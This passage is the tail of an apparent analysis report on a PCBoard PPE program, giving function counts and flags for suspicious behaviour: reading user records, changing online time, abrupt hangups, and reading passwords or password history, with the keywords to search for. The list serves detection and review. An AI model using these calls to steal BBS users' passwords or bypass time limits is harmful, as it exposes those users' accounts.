  611. ;    3       <>
  612. ;    10      <
  613. ;    9       <=
  614. ;    1       >
  615. ;    18      >=
  616. ;    64      !
  617. ;    22      &&
  618. ;    11      ||
  619. ;    20      Len(
  620. ;    6       Lower()
  621. ;    3       Upper()
  622. ;    18      Mid()
  623. ;    1       Ferr()
  624. ;    21      Chr()
  625. ;    2       Inkey()
  626. ;    16      String()
  627. ;    1       CurConf()
  628. ;    25      PPEPath()
  629. ;    7       ReadLine()
  630. ;    7       Exist()
  631. ;    5       GetX()
  632. ;    3       GetY()
  633. ;    5       FileInf()
  634. ;    1       U_RecNum()
  635. ;
  636. ;------------------------------------------------------------------------------
  637. ;
  638. ; Analysis flags : RABH
  639. ;
  640. ; R - Read user ■ 5
  641. ;     User records are read, this may signify that someone wants to get
  642. ;     various informations about a user (for example his password), but
  643. ;     this may also be normal for a program accessing user records (for
  644. ;     example a User Editor)
  645. ;     ■ Search for : GETALTUSER
  646. ;
  647. ; A - Adjust online time remaining ■ 5
  648. ;     Program modify the amount of online time remaining, this may
  649. ;     be a way to bypass time limits
  650. ;     ■ Search for : ADJTIME
  651. ;
  652. ; B - Brute hangup ■ 1
  653. ;     Program hangup without notification. This may be a good way to
  654. ;     disconnect a user, but if used randomly, may be very nasty
  655. ;     ■ Search for : HANGUP, DTROFF
  656. ;
  657. ; H - Read Password or Password History ■ 5
  658. ;     Program is reading the user's password or last password history
  659. ;     This may be ok for a password manager, but it is very suspect. Check!
  660. ;     ■ Search for : U_PWDHIST, U_PWD
  661. ;
  662. ;------------------------------------------------------------------------------
  663. ;
  664. ; Postprocessing report
  665. ;
  666. ;    9       For/Next
  667. ;    3       While/EndWhile
  668. ;    50      If/Then or If/Then/Else
  669. ;    1       Select Case
  670. ;
  671. ;------------------------------------------------------------------------------
  672. ;                 AEGiS Corp - Break the routines, code against the machines!
  673. ;------------------------------------------------------------------------------
  674.